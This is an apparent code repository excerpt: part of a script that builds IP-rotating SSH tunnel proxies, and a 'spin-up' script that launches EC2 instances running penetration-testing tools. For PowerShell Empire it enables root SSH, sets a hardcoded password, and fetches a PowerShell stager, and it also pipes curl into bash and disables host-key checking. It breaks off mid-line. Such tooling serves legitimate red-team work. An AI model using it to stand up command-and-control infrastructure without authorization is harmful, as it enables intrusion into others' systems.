== 1) or (retry_cnt < 6)): 844 | retcode = subprocess.call(sshcmd, shell=True, stdout=FNULL, stderr=subprocess.STDOUT) 845 | if retcode: 846 | warning("Failed to provision iptables on %s. Retrying..." % host) 847 | retry_cnt = retry_cnt + 1 848 | time.sleep(1) 849 | else: 850 | retry_cnt = 6 # probably a better way to do this 851 | if retry_cnt == 5: 852 | error("Giving up...") 853 | cleanup("foo", "bar") 854 | 855 | # Add return route back to us 856 | sshcmd = "ssh -i %s/.ssh/%s.pem -o StrictHostKeyChecking=no ubuntu@%s 'sudo route add 10.%s.254.2 dev tun%s'" % (homeDir, keyName, host, interface, interface) 857 | debug("SHELL CMD: " + sshcmd) 858 | retry_cnt = 0 859 | while ((retcode == 1) or (retry_cnt < 6)): 860 | retcode = subprocess.call(sshcmd, shell=True, stdout=FNULL, stderr=subprocess.STDOUT) 861 | if retcode: 862 | warning("Failed to provision static route on %s. Retrying..." % host) 863 | retry_cnt = retry_cnt + 1 864 | time.sleep(1) 865 | else: 866 | retry_cnt = 6 # probably a better way to do this 867 | if retry_cnt == 5: 868 | error("Giving up...") 869 | cleanup("foo", "bar") 870 | 871 | # Turn up our interface 872 | os.system("ifconfig tun%s up" % interface) 873 | debug("Turning up interface tun" + str(interface)) 874 | 875 | # Provision interface 876 | os.system("ifconfig tun%s 10.%s.254.2 netmask 255.255.255.252" % (interface, interface)) 877 | debug("Assinging interface tun" + str(interface) + " ip of 10." + str(interface) + ".254.2") 878 | time.sleep(2) 879 | 880 | # Adding local route (shoudlnt be needed) 881 | debug("Adding static route 10." + str(interface) + ".254.0/30 via dev tun" + str(interface)) 882 | route_cmd = 'ip route add 10.' + str(interface) + '.254.0/30 via 0.0.0.0 dev tun' + str(interface) + ' proto kernel scope link src 10.' + str(interface) + '.254.2' 883 | debug('SHELL CMD: ' + route_cmd) 884 | os.system(route_cmd) 885 | 886 | interface = interface +1 887 | 888 | # add entry to table 889 | address_to_tunnel[str(host)] = str(interface-1) 890 | 891 | # setup local forwarding 892 | os.system("echo 1 > /proc/sys/net/ipv4/ip_forward") 893 | debug("SHELL CMD: ehco 1 > /proc/sys/net/ipv4/ip_forward") 894 | 895 | # Save iptables 896 | success("Saving existing iptables state") 897 | os.system("/sbin/iptables-save > /tmp/%s" % iptablesName) 898 | 899 | # Create iptables rule 900 | # Flush existing rules 901 | success("Building new iptables...") 902 | os.system("iptables -t nat -F") 903 | os.system("iptables -t mangle -F") 904 | os.system("iptables -F") 905 | 906 | count = args.num_of_instances 907 | interface = 1; 908 | nexthopcmd = "ip route add default scope global " 909 | 910 | # Allow connections to RFC1918 911 | os.system("iptables -t nat -I POSTROUTING -d 192.168.0.0/16 -j RETURN") 912 | os.system("iptables -t nat -I POSTROUTING -d 172.16.0.0/16 -j RETURN") 913 | os.system("iptables -t nat -I POSTROUTING -d 10.0.0.0/8 -j RETURN") 914 | 915 | for host in allInstances: 916 | # Allow connections to our proxy servers themselves 917 | os.system("iptables -t nat -I POSTROUTING -d %s -j RETURN" % host) 918 | debug("SHELL CMD: iptables -t nat -I POSTROUTING -d " + host + " -j RETURN") 919 | # Nat outbound traffic going through our tunnels 920 | os.system("iptables -t nat -A POSTROUTING -o tun%s -j MASQUERADE " % (interface-1)) 921 | debug("SHELL CMD: iptables -t nat -A POSTROUTING -o tun" + str(interface-1) + " -j MASQUERADE") 922 | # Build round robin route table command 923 | nexthopcmd = nexthopcmd + "nexthop via 10." + str(interface-1) + ".254.1 dev tun" + str(interface -1) + " weight 1 " 924 | # Add static routes for our SSH tunnels 925 | os.system("ip route add %s via %s dev %s" % (host, defaultgateway, args.interface)) 926 | debug("SHELL CMD: ip route add " + host + " via " + defaultgateway + " dev " + args.interface) 927 | interface = interface + 1 928 | count = count - 1 929 | 930 | # Allow RFC 1918 routes 931 | os.system("ip route add 192.168.0.0/16 via %s dev %s > /dev/null 2>&1" % (defaultgateway, args.interface)) 932 | os.system("ip route add 172.16.0.0/16 via %s dev %s > /dev/null 2>&1" % (defaultgateway, args.interface)) 933 | os.system("ip route add 10.0.0.0/8 via %s dev %s > /dev/null 2>&1" % (defaultgateway, args.interface)) 934 | 935 | # Replace with our own new default route 936 | os.system("%s" % nexthopcmd) 937 | debug("SHELL CMD: " + nexthopcmd) 938 | 939 | success("Done!") 940 | print "\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++" 941 | print "+ Leave this terminal open and start another to run your commands. +" 942 | print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n" 943 | if args.r: 944 | print "[" + bcolors.WARNING + "~" + bcolors.ENDC +"] Press " + bcolors.BOLD + "ctrl + c" + bcolors.ENDC + " to terminate the script gracefully." 945 | success("Rotating IPs.") 946 | rotate_hosts() 947 | else: 948 | print "[" + bcolors.WARNING + "~" + bcolors.ENDC +"] Press " + bcolors.BOLD + "ctrl + c" + bcolors.ENDC + " to terminate the script gracefully." 949 | while 1: 950 | null = raw_input() 951 | -------------------------------------------------------------------------------- /spin-up: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | ############################ 3 | # Author: Hans Lakhan 4 | # 5 | ############################ 6 | # Requirements 7 | # 1) pip install ipgetter 8 | # 2) pip install boto 9 | # 3) pip install requests 10 | # 11 | ############################ 12 | # To Do spin-up 13 | # 1) Read from Config 14 | # a) xterm vs gterm 15 | # 16 | # To Do Empire 17 | # 1) Read from Config 18 | # a) Use RNG for STAGING_KEY 19 | # 2) Grab cert and use that for api calls 20 | # 3) Kill PowerShell window & Delete file 21 | # 22 | # To do MSF 23 | # 1) Configure Database 24 | # 25 | # To do WWW 26 | # 1) Config to choose type of www server (python, apache) 27 | # 28 | ############################ 29 | import boto.ec2 30 | import boto.route53 31 | from boto.route53.record import ResourceRecordSets 32 | import argparse 33 | import ConfigParser 34 | import os 35 | import datetime 36 | import sys 37 | import signal 38 | import time 39 | import hashlib 40 | import subprocess 41 | import requests 42 | import json 43 | import ipgetter 44 | 45 | ############################################################################################# 46 | # Handle Colored Output 47 | ############################################################################################# 48 | 49 | class bcolors: 50 | HEADER = '\033[95m' 51 | OKBLUE = '\033[94m' 52 | OKGREEN = '\033[92m' 53 | WARNING = '\033[93m' 54 | FAIL = '\033[91m' 55 | ENDC = '\033[0m' 56 | BOLD = '\033[1m' 57 | UNDERLINE = '\033[4m' 58 | 59 | def error(msg): 60 | print "[" + bcolors.FAIL + "!" + bcolors.ENDC + "] " + msg 61 | def success(msg): 62 | print "[" + bcolors.OKGREEN + "*" + bcolors.ENDC + "] " + msg 63 | def warning(msg): 64 | print "[" + bcolors.WARNING + "~" + bcolors.ENDC + "] " + msg 65 | def debug(msg): 66 | if args.verbose: 67 | timestamp = datetime.datetime.now() 68 | print "[i] " + bcolors.BOLD + str(timestamp) + bcolors.ENDC + " : " + msg 69 | 70 | ############################################################################################# 71 | # Handle SigTerm & Clean up 72 | ############################################################################################# 73 | def cleanup(signal, frame): 74 | 75 | # Time to clean up 76 | print "\n" 77 | success("Roger that! Shutting down") 78 | 79 | # Connect to EC2 and return list of reservations 80 | try: 81 | success("Connecting to Amazon's EC2...") 82 | cleanup_conn = boto.ec2.connect_to_region(region_name=args.region, aws_access_key_id=AWS_KEY_ID, aws_secret_access_key=AWS_ACCESS_KEY) 83 | except Exception as e: 84 | error("Failed to connect to Amazon EC2 because: %s" % e) 85 | 86 | cleanup_reservations = cleanup_conn.get_all_instances(filters={"tag:Name" : nameTag, "instance-state-name" : "running"}) 87 | 88 | # Grab list of public IP's assigned to instances that were launched 89 | allInstances = [] 90 | for reservation in cleanup_reservations: 91 | for instance in reservation.instances: 92 | if instance.ip_address not in allInstances: 93 | if (instance.ip_address): 94 | allInstances.append(instance.ip_address) 95 | debug("Public IP's for all instances: " + str(allInstances)) 96 | ip_address = ''.join(allInstances) 97 | 98 | # Terminate instance 99 | success("Terminating Instances") 100 | for reservation in cleanup_reservations: 101 | for instance in reservation.instances: 102 | instance.terminate() 103 | 104 | warning("Pausing for 90 seconds so instances can properly terminate") 105 | time.sleep(90) 106 | 107 | # Remove Security Groups 108 | success("Deleting Amazon Security Groups") 109 | try: 110 | cleanup_conn.delete_security_group(name=securityGroup) 111 | except Exception as e: 112 | error("Deletion of security group failed because %s" % e) 113 | 114 | # Remove Key Pairs 115 | success("Removing SSH keys") 116 | try: 117 | cleanup_conn.delete_key_pair(key_name=keyName) 118 | except Exception as e: 119 | error("Deletion of key pair failed because %s" % e) 120 | 121 | if args.dns: 122 | fqdn = args.dns + '.' + ZONE_NAME 123 | success("Removing A record") 124 | try: 125 | dnsconn = boto.route53.connect_to_region(region_name=args.region, aws_access_key_id=AWS_KEY_ID, aws_secret_access_key=AWS_ACCESS_KEY) 126 | except Exception as e: 127 | error("Failed to connect to Amazon EC2 because: %s" % e) 128 | exit() 129 | debug("Removing DNS Record " + fqdn + " => " + ip_address) 130 | changes = ResourceRecordSets(dnsconn, ZONE_ID) 131 | change = changes.add_change("DELETE", fqdn, "A") 132 | change.add_value(ip_address) 133 | result = changes.commit() 134 | 135 | success("Done!") 136 | sys.exit(0) 137 | 138 | ############################################################################################# 139 | # Config Section Mapping 140 | ############################################################################################# 141 | 142 | def ConfigSectionMap(section): 143 | dict1 = {} 144 | options = config.options(section) 145 | for option in options: 146 | try: 147 | dict1[option] = config.get(section, option) 148 | if dict1[option] == -1: 149 | DebugPrint("skip: %s" % option) 150 | except: 151 | print("exception on %s!" % option) 152 | dict1[option] = None 153 | return dict1 154 | 155 | ############################################################################################# 156 | # System and Program Arguments 157 | ############################################################################################# 158 | 159 | AWS_KEY_ID = '' 160 | AWS_ACCESS_KEY = '' 161 | 162 | ZONE_NAME = '' 163 | ZONE_ID = '' 164 | 165 | parser = argparse.ArgumentParser() 166 | parser.add_argument('-id', '--image-id', nargs='?', default='ami-d05e75b8', help="Amazon ami image ID. Example: ami-d05e75b8. If not set, ami-d05e75b8.") 167 | parser.add_argument('-t', '--image-type', nargs='?', default='t2.nano', help="Amazon ami image type Example: t2.nano. If not set, defaults to t2.nano.") 168 | parser.add_argument('--region', nargs='?', default='us-east-1', help="Select the region: Example: us-east-1. If not set, defaults to us-east-1.") 169 | parser.add_argument('key_id', nargs='?', help="Amazon Access Key ID.") 170 | parser.add_argument('access_key', nargs='?', help="Amazon's Secret Key Access.") 171 | parser.add_argument('app', type=str, choices=['plain', 'empire', 'dirb', 'msf', 'www', 'ptf'], help="Select from: plain, empire, dirb, msf, www, ptf") 172 | parser.add_argument('-p', '--port', nargs='?', default='443', help="Select which port to listen on. Default 443") 173 | parser.add_argument("-v", "--verbose", action='store_true', help="Enable verbose logging. All cmd's should be printed to stdout") 174 | parser.add_argument('--config', type=str, help="Read from config file") 175 | parser.add_argument('--dns', type=str, help="Hostname to assign the host.") 176 | args = parser.parse_args() 177 | 178 | # Parse Config 179 | if (args.config): 180 | debug("CONFIG FILE: " + args.config) 181 | config = ConfigParser.ConfigParser() 182 | # TO DO CHECK IF FILE EXISTS 183 | config.read(args.config) 184 | AWS_KEY_ID = ConfigSectionMap("AWS")['access_key_id'] 185 | AWS_ACCESS_KEY = ConfigSectionMap("AWS")['secret_access_key'] 186 | 187 | ZONE_NAME = ConfigSectionMap("DNS")['zone_name'] 188 | ZONE_ID = ConfigSectionMap("DNS")['zone_id'] 189 | else: 190 | AWS_KEY_ID = args.key_id 191 | AWS_ACCESS_KEY = args.access_key 192 | 193 | debug("AWS_KEY_ID: -->" + AWS_KEY_ID + "<--") 194 | debug("AWS_ACCESS_KEY: -->" + AWS_ACCESS_KEY + "<--") 195 | debug("ZONE_NAME: -->" + ZONE_NAME + "<--") 196 | debug("ZONE_ID: -->" + ZONE_ID + "<--") 197 | 198 | if (args.dns and not args.config): 199 | error("--dns requires --config") 200 | sys.exit('-1') 201 | 202 | # Check to make sure we have the minimum hardware requirements 203 | if args.app == 'msf' or args.app == 'ptf': 204 | if args.image_type == 't2.nano' or args.image_type == 't2.micro': 205 | error(args.app + " requires '-t m3.medium' or larger") 206 | sys.exit(0) 207 | 208 | # Terminal 209 | terminal_path = "/usr/bin/gnome-terminal" 210 | 211 | # Define SigTerm Handler 212 | signal.signal(signal.SIGINT, cleanup) 213 | 214 | # Generate "Random" String 215 | pid = os.getpid() 216 | stamp = time.time() 217 | m = hashlib.md5() 218 | tempstring = str(pid + stamp) 219 | m.update(tempstring) 220 | 221 | # Define Security Group Name 222 | securityGroup = "SU_" + m.hexdigest() 223 | 224 | # Define SSH Key Name 225 | keyName = "SU_" + m.hexdigest() 226 | 227 | # Define AMI Tag Name 228 | nameTag = "SU_" + m.hexdigest() 229 | 230 | # PS Payload file 231 | psPayload = "SU_ps_" + m.hexdigest() 232 | 233 | # system variables; 234 | homeDir = os.getenv("HOME") 235 | FNULL = open(os.devnull, 'w') 236 | debug("Homedir: " + homeDir) 237 | address_to_tunnel = {} 238 | 239 | # Grab public WAN IP 240 | pubip = ipgetter.myip() 241 | 242 | ############################################################################################# 243 | # Remote SSH CMD 244 | ############################################################################################# 245 | def remote_ssh(user, ip, cmd): 246 | debug("Running Remote SSH Command") 247 | retry_cnt = 0 248 | retcode = 0 249 | sshcmd = "ssh -i %s/.ssh/%s.pem -o StrictHostKeyChecking=no %s@%s '%s'" % (homeDir, keyName, user, ip, cmd) 250 | 251 | debug("SSH CMD: " + sshcmd) 252 | while ((retcode == 1) or (retry_cnt < 6)): 253 | retcode = subprocess.call(sshcmd, shell=True, stdout=FNULL, stderr=subprocess.STDOUT) 254 | if retcode: 255 | warning("Failed to execute SSH command on %s. Retrying..." % ip) 256 | retry_cnt = retry_cnt + 1 257 | time.sleep(1) 258 | else: 259 | retry_cnt = 6 # probably a better way to do this 260 | if retry_cnt == 5: 261 | error("Giving up") 262 | cleanup("foo", "bar") 263 | 264 | ############################################################################################# 265 | # Remote SCP CMD 266 | ############################################################################################# 267 | def remote_scp(user, ip, src, dst): 268 | debug("Running Remote SCP Command") 269 | retry_cnt = 0 270 | retcode = 0 271 | sshcmd = "scp -i %s/.ssh/%s.pem %s %s@%s:'%s'" % (homeDir, keyName, src, user, ip, dst) 272 | 273 | debug("SCP CMD: " + sshcmd) 274 | while ((retcode == 1) or (retry_cnt < 6)): 275 | retcode = subprocess.call(sshcmd, shell=True, stdout=FNULL, stderr=subprocess.STDOUT) 276 | if retcode: 277 | warning("Failed to execute SCP command on %s. Retrying..." % ip) 278 | retry_cnt = retry_cnt + 1 279 | time.sleep(1) 280 | else: 281 | retry_cnt = 6 # probably a better way to do this 282 | if retry_cnt == 5: 283 | error("Giving up") 284 | cleanup("foo", "bar") 285 | 286 | ############################################################################################# 287 | # Provision DNS server on Amazons route53 288 | ############################################################################################# 289 | def provision_dns(ip_address, dns_name): 290 | 291 | fqdn = dns_name + '.' + ZONE_NAME 292 | 293 | debug("Attempting to connect to route53 service") 294 | try: 295 | conn = boto.route53.connect_to_region(region_name=args.region, aws_access_key_id=AWS_KEY_ID, aws_secret_access_key=AWS_ACCESS_KEY) 296 | except Exception as e: 297 | error("Failed to connect to Amazon EC2 because: %s" % e) 298 | exit() 299 | debug("Adding new record: " + fqdn + " => " + ip_address) 300 | changes = ResourceRecordSets(conn, ZONE_ID) 301 | change = changes.add_change("CREATE", fqdn, "A") 302 | change.add_value(ip_address) 303 | result = changes.commit() 304 | 305 | ############################################################################################# 306 | # Launch Instance 307 | ############################################################################################# 308 | 309 | def launch_instance(): 310 | success("Connecting to Amazon's EC2") 311 | try: 312 | conn = boto.ec2.connect_to_region(region_name=args.region, aws_access_key_id=AWS_KEY_ID, aws_secret_access_key=AWS_ACCESS_KEY) 313 | except Exception as e: 314 | error("Failed to connect to Amazon EC2 because: %s" % e) 315 | exit() 316 | 317 | # Generate KeyPair 318 | success("Generating ssh keypairs") 319 | keypair = conn.create_key_pair(keyName) 320 | time.sleep(5) 321 | keypair.save("%s/.ssh" % homeDir) 322 | debug("SSH Key Pair Name " + keyName) 323 | 324 | success("Generating Amazon Security Group") 325 | try: 326 | sg = conn.create_security_group(name=securityGroup, description="Used for spin-up") 327 | except Exception as e: 328 | error("Generating Amazon Security Group failed because: %s" % e) 329 | exit() 330 | 331 | try: 332 | sg.authorize(ip_protocol="tcp", from_port=22, to_port=22, cidr_ip=str(pubip) + "/32") 333 | if args.port: 334 | sg.authorize(ip_protocol="tcp", from_port=args.port, to_port=args.port, cidr_ip="0.0.0.0/0") 335 | if args.app == 'empire': 336 | sg.authorize(ip_protocol="tcp", from_port=1337, to_port=1337, cidr_ip=str(pubip)+ "/32") 337 | 338 | except Exception as e: 339 | error("Generating Amazon Security Group failed because: %s" % e) 340 | exit() 341 | 342 | debug("Security Group Name: " + securityGroup) 343 | 344 | # Launch Amazon Instances 345 | try: 346 | reservations = conn.run_instances(args.image_id, key_name=keyName, min_count='1', max_count='1', instance_type=args.image_type, security_groups=[securityGroup]) 347 | except Exception as e: 348 | error("Failed to start new instance: %s" % e) 349 | cleanup("null", "null") 350 | 351 | warning("Starting instance, please give about 4 minutes for it to fully boot") 352 | 353 | #sleep for 4 minutes while booting images 354 | for i in range(21): 355 | sys.stdout.write('\r') 356 | sys.stdout.write("[%-20s] %d%%" % ('='*i, 5*i)) 357 | sys.stdout.flush() 358 | time.sleep(11.5) 359 | print "\n" 360 | 361 | # Add tag name to instance for better management 362 | for instance in reservations.instances: 363 | instance.add_tag("Name", nameTag) 364 | debug("Tag Name: " + nameTag) 365 | 366 | # Grab list of public IP's assigned to instances that were launched 367 | reservations = conn.get_all_instances(filters={"tag:Name" : nameTag, "instance-state-name" : "running"}) 368 | for reservation in reservations: 369 | for instance in reservation.instances: 370 | if (instance.ip_address): 371 | if args.dns: 372 | success("Provisioning DNS") 373 | provision_dns(instance.ip_address, args.dns) 374 | return instance.ip_address 375 | else: 376 | error("Failed to allocate address") 377 | cleanup("foo", "Bar") 378 | 379 | 380 | ############################################################################################# 381 | # Launch Empire 382 | ############################################################################################# 383 | def launch_empire(): 384 | 385 | # Launch Instance 386 | debug("Launching Empire Instance") 387 | ip_address = launch_instance() 388 | 389 | # Provision instance 390 | success("Provisioning Instance") 391 | 392 | # Permit Root Logon 393 | success("Enabling Root Logon") 394 | cmd = "sudo sed -i \"s/PermitRootLogin without-password/PermitRootLogin yes/\" /etc/ssh/sshd_config" 395 | remote_ssh('ubuntu', ip_address, cmd) 396 | 397 | # Copy Keys 398 | success("Updating SSH Keys") 399 | cmd = "sudo cp /home/ubuntu/.ssh/authorized_keys /root/.ssh/" 400 | remote_ssh('ubuntu', ip_address, cmd) 401 | 402 | # Restarting Service to take new config (you'd think a simple reload would be enough) 403 | success("Restarting SSH service") 404 | cmd = "sudo service ssh restart" 405 | remote_ssh('ubuntu', ip_address, cmd) 406 | 407 | # Provision Empire 408 | success('Installing dependencies') 409 | cmd = "apt-get update; apt-get install screen git sqlite3 python-setuptools python-dev swig swig2.0 build-essential -y" 410 | remote_ssh('root', ip_address, cmd) 411 | 412 | success('Even more dependencies') 413 | cmd = 'easy_install pip; pip install --upgrade virtualenv' 414 | remote_ssh('root', ip_address, cmd) 415 | 416 | success('Cloning github repo') 417 | cmd = 'git clone https://github.com/PowerShellEmpire/Empire' 418 | remote_ssh('root', ip_address, cmd) 419 | 420 | success('Setting STAGING_KEY and Installing Empire') 421 | cmd = 'cd Empire/setup; export STAGING_KEY="DEADBEEFDEADBEEFDEADBEEF"; ./install.sh' 422 | remote_ssh('root', ip_address, cmd) 423 | 424 | success('Changing root profile') 425 | cmd = 'echo "screen -x" >> /root/.profile' 426 | remote_ssh('root', ip_address, cmd) 427 | 428 | retcode = 0 429 | 430 | # Start REST Server (we do this seperately since we need to background it) 431 | success('Starting REST server') 432 | 433 | remote_ssh('root', ip_address, cmd) 434 | sshcmd = "ssh -i %s/.ssh/%s.pem -o StrictHostKeyChecking=no root@%s 'cd /root/Empire/; ./empire --rest --password \'POTATOFACE\''&" % (homeDir, keyName, ip_address) 435 | debug("SHELL CMD: " + sshcmd) 436 | retry_cnt = 0 437 | while ((retcode == 1) or (retry_cnt < 6)): 438 | retcode = subprocess.call(sshcmd, shell=True, stdout=FNULL, stderr=subprocess.STDOUT) 439 | if retcode: 440 | warning("ERROR: Failed to start REST server %s. Retrying..." % ip_address) 441 | retry_cnt = retry_cnt + 1 442 | time.sleep(1) 443 | else: 444 | retry_cnt = 6 # probably a better way to do this 445 | if retry_cnt == 5: 446 | error("Giving up") 447 | cleanup("foo", "bar") 448 | 449 | time.sleep(5) 450 | 451 | # Get Session 452 | success('Obtaining session id') 453 | url = "https://%s:1337/api/admin/login" % ip_address 454 | debug("URL: " + url) 455 | headers = {'content-type': 'application/json'} 456 | data = {'username':'empireadmin', 'password':'POTATOFACE'} 457 | debug("DATA: " + str(data)) 458 | 459 | 460 | # import requests 461 | response = requests.post(url, data=json.dumps(data), verify=False, headers=headers) 462 | debug("RESPONSE CODE: " + str(response.status_code)) 463 | jdata = json.loads(response.content) 464 | 465 | API_TOKEN = jdata['token'] 466 | 467 | # Start Listener 468 | success('Starting Empire listener') 469 | url = "https://%s:1337/api/listeners?token=%s" % (ip_address, API_TOKEN) 470 | if args.dns: 471 | listener_url = 'http://' + args.dns + '.' + ZONE_NAME + ':' + args.port 472 | else: 473 | listener_url = 'http://' + ip_address + ':' + args.port 474 | data = {'Name':'https', 'Host':listener_url, 'CertPath':'./data/empire.pem'} 475 | debug("DATA: " + str(data)) 476 | 477 | response = requests.post(url, data=json.dumps(data), verify=False, headers=headers) 478 | debug("RESPONSE CODE: " + str(response.status_code)) 479 | jdata = json.loads(response.content) 480 | 481 | # Get Powershell stager 482 | success('Obtaining PowerShell stager') 483 | url = "https://%s:1337/api/stagers?token=%s" % (ip_address, API_TOKEN) 484 | data = {'StagerName':'launcher', 'Listener':'https'} 485 | debug("DATA: " + str(data)) 486 | 487 | response = requests.post(url, data=json.dumps(data), verify=False, headers=headers) 488 | debug("RESPONSE CODE: " + str(response.status_code)) 489 | jdata = json.loads(response.content) 490 | 491 | # Write launcher to tmp file 492 | f = open("/tmp/" + psPayload, 'w') 493 | f.write(str(jdata['launcher'][u'Output'])) 494 | f.close() 495 | 496 | # We now have to kill the empire --rest instance because it hijacks notifications. such a fucking hack 497 | success('Killing Empire REST server, because its being dumb and doesnt play well with others') 498 | sshcmd = "ssh -i %s/.ssh/%s.pem -o StrictHostKeyChecking=no root@%s 'killall -9 /usr/bin/python'" % (homeDir, keyName, ip_address) 499 | debug("SHELL CMD: " + sshcmd) 500 | retry_cnt = 0 501 | while ((retcode == 1) or (retry_cnt < 6)): 502 | retcode = subprocess.call(sshcmd, shell=True, stdout=FNULL, stderr=subprocess.STDOUT) 503 | if retcode: 504 | warning("ERROR: Failed to kill Empire Rest server on %s. Retrying..." % ip_address) 505 | retry_cnt = retry_cnt + 1 506 | time.sleep(1) 507 | else: 508 | retry_cnt = 6 # probably a better way to do this 509 | if retry_cnt == 5: 510 | error("Giving up") 511 | cleanup("foo", "bar") 512 | 513 | # Launch Empire on remote host, but backgrounded as a screen session 514 | success('Starting Remote Empire Instance') 515 | cmd = 'screen -d -m bash -c "cd /root/Empire/; ./empire; exec bash"' 516 | remote_ssh('root', ip_address, cmd) 517 | 518 | success('Launching Powershell window') 519 | terminalcmd = "%s --geometry=104x28+960+540 --title='Powershell' -e 'vi /tmp/%s'" % (terminal_path, psPayload) 520 | debug("Terminal CMD: " + terminalcmd) 521 | subprocess.call(terminalcmd, shell=True, stdout=FNULL, stderr=subprocess.STDOUT) 522 | 523 | # Launch xterm window 524 | success('Launching Empire console') 525 | sshcmd = "/usr/bin/ssh -i %s/.ssh/%s.pem -o StrictHostKeyChecking=no -o TCPKeepAlive=yes -o ServerAliveInterval=50 root@%s" % (homeDir, keyName, ip_address) 526 | debug("SHELL CMD: " + sshcmd) 527 | terminalcmd = "%s --geometry=104x28+960+0 --title='Empire on %s' -e '%s'" % ( terminal_path, ip_address, sshcmd) 528 | debug("Terminal CMD: " + terminalcmd) 529 | subprocess.call(terminalcmd, shell=True, stdout=FNULL, stderr=subprocess.STDOUT) 530 | success('Done!') 531 | 532 | ############################################################################################# 533 | # Launch Dirb 534 | ############################################################################################# 535 | def launch_dirb(): 536 | 537 | # Custom wordlist 538 | warning("[optional] Enter /path/wordlist to be upload. Enter for none.") 539 | wordlist = raw_input("wordlist: ") 540 | 541 | # Launch instances 542 | debug('Launching dirb instance') 543 | ip_address = launch_instance() 544 | 545 | # Provision instance 546 | success("Provisioning instance") 547 | 548 | # Permit Root Logon 549 | success("Enabling root logon") 550 | cmd = "sudo sed -i \"s/PermitRootLogin without-password/PermitRootLogin yes/\" /etc/ssh/sshd_config" 551 | remote_ssh('ubuntu', ip_address, cmd) 552 | 553 | # Copy Keys 554 | success("Updating SSH keys") 555 | cmd = "sudo cp /home/ubuntu/.ssh/authorized_keys /root/.ssh/" 556 | remote_ssh('ubuntu', ip_address, cmd) 557 | 558 | # Restarting Service to take new config (you'd think a simple reload would be enough) 559 | success("Restarting SSH service") 560 | cmd = "sudo service ssh restart" 561 | remote_ssh('ubuntu', ip_address, cmd) 562 | 563 | # Install Dependencies 564 | success('Installing dependencies') 565 | cmd = "apt-get update; apt-get install libcurl4-gnutls-dev make -y" 566 | remote_ssh('root', ip_address, cmd) 567 | 568 | # Downloading dirb and extracting bundle 569 | success('Aquiring dib') 570 | cmd = 'wget https://sourceforge.net/projects/dirb/files/latest/download?source=files -O dirb.tgz; tar -xzf dirb.tgz' 571 | remote_ssh('root', ip_address, cmd) 572 | 573 | # Installing Dirb 574 | success('Installing dirb') 575 | cmd = 'cd dirb222; chmod +x configure; ./configure; make; make install' 576 | remote_ssh('root', ip_address, cmd) 577 | 578 | # Moving wordlist 579 | success('Moving wordlist') 580 | cmd = 'mv dirb222/wordlists wordlists' 581 | remote_ssh('root', ip_address, cmd) 582 | 583 | if (len(wordlist) > 0): 584 | success('Uploading custom wordlist') 585 | wordlist_filename = wordlist.split('/') 586 | remote_scp('root', ip_address, wordlist, './wordlists/' + wordlist_filename[-1]) 587 | 588 | # Launch xterm window 589 | success('Launching dirb console') 590 | sshcmd = "/usr/bin/ssh -i %s/.ssh/%s.pem -o StrictHostKeyChecking=no -o TCPKeepAlive=yes -o ServerAliveInterval=50 root@%s" % (homeDir, keyName, ip_address) 591 | debug("SHELL CMD: " + sshcmd) 592 | terminalcmd = "%s --geometry=104x28+960+0 --title='Dirb on %s' -e '%s'" % ( terminal_path, ip_address, sshcmd) 593 | debug("Terminal CMD: " + terminalcmd) 594 | subprocess.call(terminalcmd, shell=True, stdout=FNULL, stderr=subprocess.STDOUT) 595 | success('Done!') 596 | 597 | ############################################################################################# 598 | # Launch Metasploit Console 599 | ############################################################################################# 600 | def launch_msf(): 601 | 602 | # Custom Resource Script 603 | warning("Enter /path/rc file to be upload. Enter for none.") 604 | metasploitrc = raw_input("Metasploit RC: ") 605 | 606 | # Launch instances 607 | debug('Launching metasploit instance') 608 | ip_address = launch_instance() 609 | 610 | # Provision instance 611 | success("Provisioning instance") 612 | 613 | # Permit Root Logon 614 | success("Enabling root logon") 615 | cmd = "sudo sed -i \"s/PermitRootLogin without-password/PermitRootLogin yes/\" /etc/ssh/sshd_config" 616 | remote_ssh('ubuntu', ip_address, cmd) 617 | 618 | # Copy Keys 619 | success("Updating SSH keys") 620 | cmd = "sudo cp /home/ubuntu/.ssh/authorized_keys /root/.ssh/" 621 | remote_ssh('ubuntu', ip_address, cmd) 622 | 623 | # Restarting Service to take new config (you'd think a simple reload would be enough) 624 | success("Restarting SSH service") 625 | cmd = "sudo service ssh restart" 626 | remote_ssh('ubuntu', ip_address, cmd) 627 | 628 | # Installing Dependencies for MSF 629 | success('Installing dependencies') 630 | cmd = "apt-get update; apt-get install subversion build-essential libreadline-dev libssl-dev libpq5 libpq-dev libreadline5 libsqlite3-dev libpcap-dev openjdk-7-jre git-core autoconf postgresql pgadmin3 curl zlib1g-dev libxml2-dev libxslt1-dev vncviewer libyaml-dev curl zlib1g-dev rbenv git -y" 631 | remote_ssh('root', ip_address, cmd) 632 | 633 | # Install Ruby 634 | success('Installing ruby') 635 | cmd = 'gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3' 636 | remote_ssh('root', ip_address, cmd) 637 | 638 | cmd = 'curl -sSL https://get.rvm.io | bash -s stable --ruby' 639 | remote_ssh('root', ip_address, cmd) 640 | 641 | cmd = 'echo "source /usr/local/rvm/scripts/rvm" >> .bashrc' 642 | remote_ssh('root', ip_address, cmd) 643 | 644 | cmd = 'source /usr/local/rvm/scripts/rvm; rvm install ruby-2.3.1; rvm use 2.3.1 --default' 645 | remote_ssh('root', ip_address, cmd) 646 | 647 | # Install nmap 648 | success('Installing nmap (from source)') 649 | cmd = 'cd /usr/src; svn co https://svn.nmap.org/nmap; cd nmap; ./configure; make; make install; make clean' 650 | remote_ssh('root', ip_address, cmd) 651 | 652 | # Install Metasploit 653 | success('Installing Metasploit (please wait)') 654 | cmd = 'source /usr/local/rvm/scripts/rvm; rvm use 2.3.1 --default; ruby -v; cd /opt; git clone https://github.com/rapid7/metasploit-framework.git; chown -R root /opt/metasploit-framework; cd metasploit-framework; gem install bundler; bundle install' 655 | remote_ssh('root', ip_address, cmd) 656 | 657 | if (len(metasploitrc) > 0): 658 | success('Uploading custom metasploit rc file') 659 | metasploitrc_filename = metasploitrc.split('/') 660 | remote_scp('root', ip_address, metasploitrc, './' + metasploitrc_filename[-1]) 661 | 662 | # Update login profile 663 | success('Updating profile') 664 | if (len(metasploitrc) > 0): 665 | cmd = 'echo "cd /opt/metasploit-framework; ./msfconsole -r /root/%s" >> .bashrc' % metasploitrc_filename[-1] 666 | else: 667 | cmd = 'echo "cd /opt/metasploit-framework; 